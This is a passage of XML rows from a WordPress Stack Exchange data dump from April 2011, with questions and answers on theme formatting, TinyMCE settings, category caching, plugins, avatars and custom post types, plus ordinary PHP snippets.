LastEditDate="2011-04-19T19:22:36.573" LastActivityDate="2011-04-19T19:22:36.573" CommentCount="2" />
  <row Id="15132" PostTypeId="2" ParentId="15128" CreationDate="2011-04-19T16:45:10.593" Score="1" ViewCount="" Body="&lt;p&gt;I would suggest a slight workaround, by making your site mobile compatible with a &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-edition/&quot; rel=&quot;nofollow&quot;&gt;plugin&lt;/a&gt;. This allows all platforms to see your site, and the iPhone version looks much like an app (page transitions, big buttons, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add some additional flare you can add an iPhone icon so that the user can place a shortcut to your site on his or her home screen:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;apple-touch-icon&quot; href=&quot;/myicon.jpg&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info at the &lt;a href=&quot;http://developer.apple.com/library/safari/#documentation/appleapplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html&quot; rel=&quot;nofollow&quot;&gt;Apple Dev Center&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-04-19T16:45:10.593" />
  <row Id="15133" PostTypeId="1" AcceptedAnswerId="15147" CreationDate="2011-04-19T16:54:24.027" Score="0" ViewCount="89" Body="&lt;p&gt;I have massive number of files in my uploads folder. Is there a way of identifying those which are not linked to any post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: some of those files are manually copied to uploads folder not via &quot;media library&quot;&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2011-04-19T19:52:45.247" Title="Garbage in uploads folder" Tags="&lt;cleanup&gt;" AnswerCount="1" />
  <row Id="15134" PostTypeId="2" ParentId="14286" CreationDate="2011-04-19T17:31:20.097" Score="3" ViewCount="" Body="&lt;p&gt;&quot;contributor&quot; is spelled with an O, perhaps you've just misspelled it?&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-19T17:31:20.097" CommentCount="3" />
  <row Id="15136" PostTypeId="2" ParentId="15066" CreationDate="2011-04-19T17:36:20.277" Score="1" ViewCount="" Body="&lt;p&gt;This is a known (and nasty) bug in the taxonomy hierarchy caching code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14485&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14485&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you have to force a refresh by deleting the option.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-19T17:36:20.277" CommentCount="6" />
  <row Id="15137" PostTypeId="1" CreationDate="2011-04-19T17:37:53.440" Score="0" ViewCount="85" Body="&lt;p&gt;I have serious trouble displaying code blocks in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to display something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;something&amp;gt;&#xA;     &amp;lt;something-else&amp;gt;&#xA;          Content&#xA;     &amp;lt;/something-else&amp;gt;&#xA;&amp;lt;/something&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works fine everywhere, but doing that inside code tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;code&amp;gt;&#xA;    &amp;lt;something&amp;gt;&#xA;         &amp;lt;something-else&amp;gt;&#xA;              Content&#xA;         &amp;lt;/something-else&amp;gt;&#xA;    &amp;lt;/something&amp;gt;&#xA;&amp;lt;/code&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays code block looking like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;something&amp;gt;&#xA;&amp;lt;something-else&amp;gt;&#xA;Content&#xA;&amp;lt;/something-else&amp;gt;&#xA;&amp;lt;/something&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And setting code's CSS to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;white-space: pre-wrap;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Produces confusing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;something&amp;gt;&#xA;&amp;lt;/br&amp;gt;&#xA;   &amp;lt;something-else&amp;gt;&#xA;&amp;lt;/br&amp;gt;&#xA;      Content&#xA;&amp;lt;/br&amp;gt;&#xA;   &amp;lt;/something-else&amp;gt;&#xA;&amp;lt;/br&amp;gt;&#xA;&amp;lt;/something&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Almost perfect, but where these  come from? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally I'm disabling WP AutoP and it works, but not within code tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter ('the_content',  'wpautop');&#xA;add_filter( 'the_content', 'wpautop' , 12);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-19T19:46:58.993" Title="Formatting &lt;code&gt;?" Tags="&lt;theme-development&gt;&lt;code&gt;&lt;wp-autop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="15138" PostTypeId="1" CreationDate="2011-04-19T17:40:07.360" Score="0" ViewCount="134" Body="&lt;p&gt;I am using media-upload.php?type=image&amp;amp;tab=library script to add an image to a post with a description that contains html. This php script uses the javascript function window.send_to_editor to send the html to the page. This allows you to insert image html into a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, if you try to add an image with a description that has text broken up on multiple lines(html) you will get a &quot;unterminated string literal&quot; error from javascript b/c the string is not converted correctly before it is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway around this?&lt;/p&gt;&#xA;" OwnerUserId="4647" LastActivityDate="2011-04-19T17:40:07.360" Title="window.send_to_editor throws unterminated string literal error when adding image with multi line description" Tags="&lt;javascript&gt;&lt;media&gt;" CommentCount="1" />
  <row Id="15140" PostTypeId="1" CreationDate="2011-04-19T18:26:20.780" Score="0" ViewCount="93" Body="&lt;p&gt;Does anyone have a favorite widget for the sidebar that would show the last three posts with: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title&#xA;Some of the content... read more&lt;/p&gt;&#xA;" OwnerUserId="4418" LastActivityDate="2011-08-23T08:33:45.440" Title="Favorite recent post widget" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="15141" PostTypeId="1" AcceptedAnswerId="26427" CreationDate="2011-04-19T18:31:57.580" Score="0" ViewCount="415" Body="&lt;p&gt;I have a structured Custom Menu:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;children1_1&lt;/li&gt;&#xA;&lt;li&gt;children1_2 &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;parent 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;children2_1&lt;/li&gt;&#xA;&lt;li&gt;children2_2 &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;parent 3 &lt;/li&gt;&#xA;&lt;li&gt;parent 4&#xA;&lt;ul&gt;&#xA;&lt;li&gt;children4_1&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the following: on every page, the parent level items will be shown as main menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a parent level item is active, I want to show the child menu items as a separate list somewhere else in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an &quot;easy&quot; way to achieve this, or do I have to list the menu every time and select the current one with PHP and have headache for this for days? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;cadeyrn&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-08-20T20:04:55.000" Title="List WordPress Custom Menu's active parent level's children as separate menu" Tags="&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="15143" PostTypeId="1" CreationDate="2011-04-19T19:15:35.967" Score="0" ViewCount="54" Body="&lt;p&gt;My plugin code is below. In the myPlugin_cleanup() function, I'm creating some categories and assigning term id 1 as the parent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15066/missing-category-children-option-when-dynamically-creating-categories-via-a-plu&quot;&gt;&lt;strong&gt;known bug with creating categories via script&lt;/strong&gt;&lt;/a&gt; (the category_children array does not get created and results in a fatal error when pages containing category listings are accessed), I've placed the clean_term_cache() call directly below the function that creates my categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, its not working. The category_children option is not getting created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, if I create a plugin whose sole function is to execute the clean_term_cache('','category') call, it fixes the problem and creates the category_children option with the correct values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just not sure why its not working in the same plugin that creates the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might I be missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myPlugin_activate(){&#xA;    if ( get_option( 'myPlugin_activated' ) !== &quot;1&quot;){&#xA;        //comment out any function you don't want to run&#xA;        myPlugin_copy('themes');&#xA;        myPlugin_copy('plugins');&#xA;        myPlugin_images();&#xA;        myPlugin_options();&#xA;        myPlugin_settings();&#xA;        myPlugin_widgets();&#xA;        myPlugin_links();&#xA;        myPlugin_posts();&#xA;        myPlugin_pages();&#xA;        myPlugin_custom_menus();&#xA;        myPlugin_cleanup();&#xA;        clean_term_cache('','category'); //does not work here&#xA;        update_option('myPlugin_activated', &quot;1&quot;);&#xA;        }&#xA;    }&#xA;&#xA;function myPlugin_cleanup(){&#xA;&#xA;        //include dependencies&#xA;        require_once(ABSPATH.'/wp-admin/includes/taxonomy.php');    &#xA;&#xA;        if(!get_cat_ID('nofollow')){wp_create_category('nofollow',1);}&#xA;        if(!get_cat_ID('noindex')){wp_create_category('noindex',1);}&#xA;&#xA;        clean_term_cache('','category'); //Does not appear to work here either.&#xA;        }&#xA;&#xA;&#xA;register_activation_hook(__FILE__, 'myPlugin_activate');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-08-07T15:20:34.513" Title="Calling clean_term_cache() fails when called in the same plugin that creates terms, succeeds when called separately?" Tags="&lt;plugin-development&gt;&lt;categories&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="15144" PostTypeId="1" AcceptedAnswerId="15152" CreationDate="2011-04-19T19:40:45.150" Score="0" ViewCount="47" Body="&lt;p&gt;Can one plugin activate another plugin via script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know its possible to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11934/is-it-possible-to-uninstall-one-plugin-from-within-another-plugin&quot;&gt;deactivate known plugins via script&lt;/a&gt;, but can't find any examples of how to activate them.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-19T20:53:40.490" Title="Can one plugin activate another plugin via script?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="15145" PostTypeId="1" AcceptedAnswerId="15151" CreationDate="2011-04-19T19:42:48.563" Score="0" ViewCount="66" Body="&lt;p&gt;I have a site where pages will often move from draft to published and then to legacy. I would like to create another status type similar to draft or published titled &quot;legacy&quot;. Wherein the page exists but is indicated as no longer active on the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware of a Plugin or way to hack this feature?&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-04-19T20:47:09.760" Title="Additional page and post status types" Tags="&lt;post-status&gt;" AnswerCount="2" />
  <row Id="15146" PostTypeId="2" ParentId="15137" CreationDate="2011-04-19T19:46:58.993" Score="1" ViewCount="" Body="&lt;p&gt;You either need to add such code via the HTML editor (and not switch back to the Visual editor), or else you will need to pass a custom configuration to the Visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have similar needs, and here's what I use (in &lt;code&gt;functions.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// http://tinymce.moxiecode.com/wiki.php/Configuration&#xA;function cbnet_tinymce_config( $init ) {&#xA;&#xA;// Change code cleanup/content filtering config&#xA;&#xA;    // Don't remove line breaks&#xA;    $init['remove_linebreaks'] = false; &#xA;    // Convert newline characters to BR tags&#xA;    //$init['convert_newlines_to_brs'] = true; &#xA;    // Preserve tab/space whitespace&#xA;    $init['preformatted'] = true; &#xA;    // Add to list of formats to remove with Remove Format button&#xA;    $init['removeformat_selector'] = 'b,strong,em,i,span,ins,del,h1,h2,h3,h4,h5,h6,pre';&#xA;    // Do not remove redundant BR tags&#xA;    $init['remove_redundant_brs'] = false;&#xA;&#xA;// Add to list of valid HTML elements (so they don't get stripped)&#xA;&#xA;    // IFRAME&#xA;    $valid_iframe = 'iframe[id|class|title|style|align|frameborder|height|longdesc|marginheight|marginwidth|name|scrolling|src|width]';&#xA;    // PRE&#xA;    $valid_pre = 'pre[id|name|class|style]';&#xA;    // DIV&#xA;    $valid_div = 'div[align&amp;lt;center?justify?left?right|class|dir&amp;lt;ltr?rtl|id|lang|onclick|ondblclick|onkeydown|onkeypress|onkeyup|onmousedown|onmousemove|onmouseout|onmouseover|onmouseup|style|title]';&#xA;&#xA;    // Concatenate &#xA;    $cbnet_valid_elements = $valid_iframe . ',' . $valid_pre . ',' . $valid_div;&#xA;&#xA;    // Add to extended_valid_elements if it alreay exists&#xA;    if ( isset( $init['extended_valid_elements'] ) ) {&#xA;        $init['extended_valid_elements'] .= ',' . $cbnet_valid_elements;&#xA;    } else {&#xA;        $init['extended_valid_elements'] = $cbnet_valid_elements;&#xA;    }&#xA;&#xA;// Pass $init back to WordPress&#xA;    return $init;&#xA;}&#xA;add_filter('tiny_mce_before_init', 'cbnet_tinymce_config');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Specifically, you'll want to set &lt;code&gt;remove_linebreaks&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt;, set &lt;code&gt;preformatted&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, and probably add the &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tag to the whitelist.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-19T19:46:58.993" CommentCount="3" />
  <row Id="15147" PostTypeId="2" ParentId="15133" CreationDate="2011-04-19T19:52:45.247" Score="1" ViewCount="" Body="&lt;p&gt;The easiest way would probably be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) perform a WordPress XML export ( Dashboard -&gt; Tools -&gt; Export )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) import into a clean WordPress install ( Dashboard -&gt; Tools -&gt; Import )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, everything in the &lt;code&gt;/uploads&lt;/code&gt; directory of the clean install is attached. You can now:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) backup/delete your original &lt;code&gt;/uploads&lt;/code&gt; directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) copy over the &lt;code&gt;/uploads&lt;/code&gt; directory from the clean install&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-19T19:52:45.247" CommentCount="7" />
  <row Id="15148" PostTypeId="2" ParentId="15145" CreationDate="2011-04-19T19:57:35.947" Score="0" ViewCount="" Body="&lt;p&gt;You might try the &lt;a href=&quot;http://wordpress.org/extend/plugins/content-scheduler/&quot; rel=&quot;nofollow&quot;&gt;Content Scheduler&lt;/a&gt; Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not that one, then there are &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/expire&quot; rel=&quot;nofollow&quot;&gt;several from which to choose&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you don't want an automated solution, then I would recommend just training your users to change the Post status to &quot;Private&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-04-19T20:22:54.470" LastActivityDate="2011-04-19T20:22:54.470" CommentCount="5" />
  <row Id="15149" PostTypeId="1" AcceptedAnswerId="15150" CreationDate="2011-04-19T20:18:45.333" Score="0" ViewCount="75" Body="&lt;p&gt;Im trying to display user login instead of user full name below each post avatar. Im using the following hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_member_username_link() {&#xA;&#xA;    global $post;&#xA;&#xA;    if (isset($post-&amp;gt;post_author)) {&#xA;&#xA;      $user_info = get_userdata($post-&amp;gt;post_author);&#xA;&#xA;      return '&amp;lt;a href=&quot;/' . $user_info-&amp;gt;user_login . '/&quot; title=&quot;' . $user_info-&amp;gt;user_login . '&quot;&amp;gt;' . $user_info-&amp;gt;user_login . '&amp;lt;/a&amp;gt;';      &#xA;&#xA;    } &#xA;&#xA;&#xA;}&#xA;&#xA;add_filter('bp_core_get_userlink','my_member_username_link');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works on each avatar close to each post, but acts weird in the right sidebar where my session is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2011" LastActivityDate="2011-04-19T20:34:21.577" Title="BuddyPress - User Login instead of Full Name" Tags="&lt;buddypress&gt;" AnswerCount="1" />
  <row Id="15150" PostTypeId="2" ParentId="15149" CreationDate="2011-04-19T20:34:21.577" Score="1" ViewCount="" Body="&lt;p&gt;The reason it's not working in the sidebar is likely because the sidebar content is &lt;em&gt;outside&lt;/em&gt; the Loop, and &lt;code&gt;$post&lt;/code&gt; data, and thus, &lt;code&gt;$post-&amp;gt;post_author&lt;/code&gt;, are only available &lt;em&gt;inside&lt;/em&gt; the Loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try setting a variable equal to &lt;code&gt;$post-&amp;gt;post_author&lt;/code&gt; while still inside the Loop, and then passing that variable to &lt;code&gt;get_userdata()&lt;/code&gt; in your function call outside the Loop.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-19T20:34:21.577" />
  <row Id="15151" PostTypeId="2" ParentId="15145" CreationDate="2011-04-19T20:47:09.760" Score="1" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/edit-flow/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Edit Flow plugin&lt;/strong&gt;&lt;/a&gt; which  offers a suite of functionality to redefine your editorial workflow within WordPress. Features include &lt;strong&gt;Custom Statuses&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-19T20:47:09.760" CommentCount="2" />
  <row Id="15152" PostTypeId="2" ParentId="15144" CreationDate="2011-04-19T20:53:40.490" Score="1" ViewCount="" Body="&lt;p&gt;Take a look at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in wp-admin/includes/plugin.php&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-19T20:53:40.490" CommentCount="1" />
  <row Id="15153" PostTypeId="1" AcceptedAnswerId="15158" CreationDate="2011-04-19T20:54:30.437" Score="2" ViewCount="207" Body="&lt;p&gt;I'm interested in the theory of a user being able to register/upload a gravatar directly in their user account within a hosted WP system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this feasible?&lt;/p&gt;&#xA;" OwnerUserId="4680" LastEditorUserId="2204" LastEditorDisplayName="" LastEditDate="2011-04-21T22:19:48.853" LastActivityDate="2011-04-22T15:45:58.367" Title="Upload gravatar in WP profile?" Tags="&lt;users&gt;&lt;avatar&gt;&lt;profiles&gt;&lt;gravatar&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="15154" PostTypeId="2" ParentId="15153" CreationDate="2011-04-19T20:57:54.497" Score="1" ViewCount="" Body="&lt;p&gt;Try the &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-local-avatars/&quot; rel=&quot;nofollow&quot;&gt;Simple Local Avatars&lt;/a&gt; Plugin. It works exactly as advertised!&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-19T20:57:54.497" CommentCount="5" />
  <row Id="15155" PostTypeId="2" ParentId="11141" CreationDate="2011-04-19T21:02:20.563" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$wp_error = wp_insert_post( $new_post, true); &#xA;                              echo '&amp;lt;pre&amp;gt;';&#xA;                              print_r ($wp_error);&#xA;                              echo '&amp;lt;/pre&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show you exactly what's wrong with wordpress post insert function. just try it !&lt;/p&gt;&#xA;" OwnerUserId="4772" LastActivityDate="2011-04-19T21:02:20.563" />
  <row Id="15156" PostTypeId="1" CreationDate="2011-04-19T21:04:32.580" Score="1" ViewCount="70" Body="&lt;p&gt;I want to move my Wordpress blog to a different server. I dumped the database from the old server and imported it to the new server, and set up the new database details in  &lt;code&gt;wp-config.php&lt;/code&gt;. I can log in to the admin console online, and I can see all the posts, but if I go to the front page of the blog, the page is just blank. There are no errors in the apache logs. Does anyone have any idea what might be going on?&lt;/p&gt;&#xA;" OwnerUserId="4773" LastActivityDate="2011-08-30T17:37:01.727" Title="Migration issue - blog home page is blank" Tags="&lt;migration&gt;" AnswerCount="3" />
  <row Id="15157" PostTypeId="1" AcceptedAnswerId="15161" CreationDate="2011-04-19T21:09:17.267" Score="0" ViewCount="186" Body="&lt;p&gt;I have a custom post type that doesn't use the default title bar to define the post's title. Instead it is a series of taxonomies: artist, album and year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now my xml feed is displaying &lt;code&gt;&amp;lt;title&amp;gt;Auto Draft&amp;lt;/title&amp;gt;&lt;/code&gt; for each post type. What filter can I use to have these three taxonomies be the post type's title tag in the feed?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-04-19T21:52:28.833" Title="How to make custom post type feed title = taxonomies?" Tags="&lt;custom-post-types&gt;&lt;feed&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="15158" PostTypeId="2" ParentId="15153" CreationDate="2011-04-19T21:21:24.543" Score="1" ViewCount="" Body="&lt;p&gt;If you are looking to connect your sites sign-up with Gravatar then you simply can't, since Gravatar don't have a sing-up api you can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are just looking to let your users upload there own photos the either Simple Local Avatars Plugin that Chip suggested or one I've used a lot before is &lt;a href=&quot;http://wordpress.org/extend/plugins/user-photo/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;User Photo&lt;/strong&gt;&lt;/a&gt; will do the job just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the better part of User Photo plugin is that it has an overwrite function  &lt;code&gt;get_avatar&lt;/code&gt; which will get the user photo if exists or the gravatar if not.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-19T21:21:24.543" CommentCount="3" />
  <row Id="15159" PostTypeId="2" ParentId="15156" CreationDate="2011-04-19T21:42:13.947" Score="0" ViewCount="" Body="&lt;p&gt;Toggle the theme to the default or another theme; rename the plugins folder, reload admin and name it back to plugins; and reset permalinks.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-04-19T21:42:13.947" />
  <row Id="15160" PostTypeId="2" ParentId="15143" CreationDate="2011-04-19T21:43:06.940" Score="1" ViewCount="" Body="&lt;p&gt;After creating about 40 test WP installs today on localhost, here's what I can report:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the correct function call to rebuild the category_children options is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_get_term_hierarchy('category')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Previously, I was trying to call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;clean_term_cache('','category')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I was calling it just after my categories were created in my plugin code. However, I could never get this function to do anything when called from the same plugin that I'm using to create the categories. Interestingly, I could place the function in a stand-alone plugin and run it (after my category creation plugin) and it would rebuild the category_parents options array perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it can't be called in the same script that creates the categories appears to be related to a peculiar behavior of clean_term_cache() which is best stated by &quot;foofy&quot; in a comment in &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14704&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the bug track ticket&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is only a problem if you make&#xA;  multiple term changes in the same PHP&#xA;  request/script lifetime.&#xA;  clean_term_cache() tracks each&#xA;  taxonomy it cleans in a static&#xA;  variable and won't clean it a second&#xA;  time. If several term changes are made&#xA;  in the same request, the&#xA;  {$taxonomy}_children option is left&#xA;  with the hierarchy as it was after the&#xA;  first change.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone!&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-04-19T21:53:19.193" LastActivityDate="2011-04-19T21:53:19.193" />
  <row Id="15161" PostTypeId="2" ParentId="15157" CreationDate="2011-04-19T21:52:28.833" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;wp_insert_post_data&lt;/code&gt; filter hook which is called by the wp_insert_post function prior to inserting into or updating the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example this will take the first term of each taxonomy and set them as the title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function custom_post_type_title_filter( $data , $postarr )&#xA;{&#xA;  //check for your post type&#xA;  if ($postarr['post_type'] == 'your type name'){&#xA;    if (isset($_post['newtag'])){&#xA;        $artist = $album = $year = '';&#xA;        foreach($_post['newtag'] as $tax =&amp;gt; $terms){&#xA;            if ($tax == &quot;artist&quot;){&#xA;                $artist = $terms[0];&#xA;                continue;&#xA;            }&#xA;            if ($tax == &quot;album&quot;){&#xA;                $album = $terms[0];&#xA;                continue;&#xA;            }&#xA;            if ($tax == &quot;year&quot;){&#xA;                $year = $terms[0];&#xA;                continue;&#xA;            }&#xA;        }&#xA;        $data['post_title'] = $artist.' '.$album .' '. $year;&#xA;    }&#xA;  }&#xA;  return $data;&#xA;}&#xA;&#xA;add_filter( 'wp_insert_post_data' , 'custom_post_type_title_filter' , '99' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this assumes that your custom taxonomies are none hierarchical (like tags) and you will have to change to there right name as well as the custom post type name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-19T21:52:28.833" CommentCount="6" />
  <row Id="15162" PostTypeId="1" CreationDate="2011-04-19T21:53:58.533" Score="1" ViewCount="120" Body="&lt;p&gt;Does anyone have a function I can place in my &lt;code&gt;functions.php&lt;/code&gt; that will remove this? I want to avoid altering the core files. It currently says &quot;Both comments and trackbacks are currently closed.&quot;&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2011-08-19T00:26:47.777" Title="function to remove 'comments and trackbacks are closed'" Tags="&lt;comments&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="15163" PostTypeId="1" AcceptedAnswerId="15174" CreationDate="2011-04-19T22:37:56.557" Score="4" ViewCount="350" Body="&lt;p&gt;I have a gallery attached to a page. On that page, I'm running the following query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$events_gallery = new WP_Query( // Start a new query for our videos&#xA;array(&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID, // Get data from the current post&#xA;    'post_type' =&amp;gt; 'attachment', // Only bring back attachments&#xA;    'post_mime_type' =&amp;gt; 'image', // Only bring back attachments that are images&#xA;    'posts_per_page' =&amp;gt; '3', // Show us the first three results&#xA;    'status' =&amp;gt; 'inherit', // Inherit the status of the parent post &#xA;    'orderby' =&amp;gt; 'rand', // Order the attachments randomly  &#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've experimented quite a few ways and, for some reason, I can't get attachments to return. Am I missing something obvious here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update*&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Wok for pointing me in the right 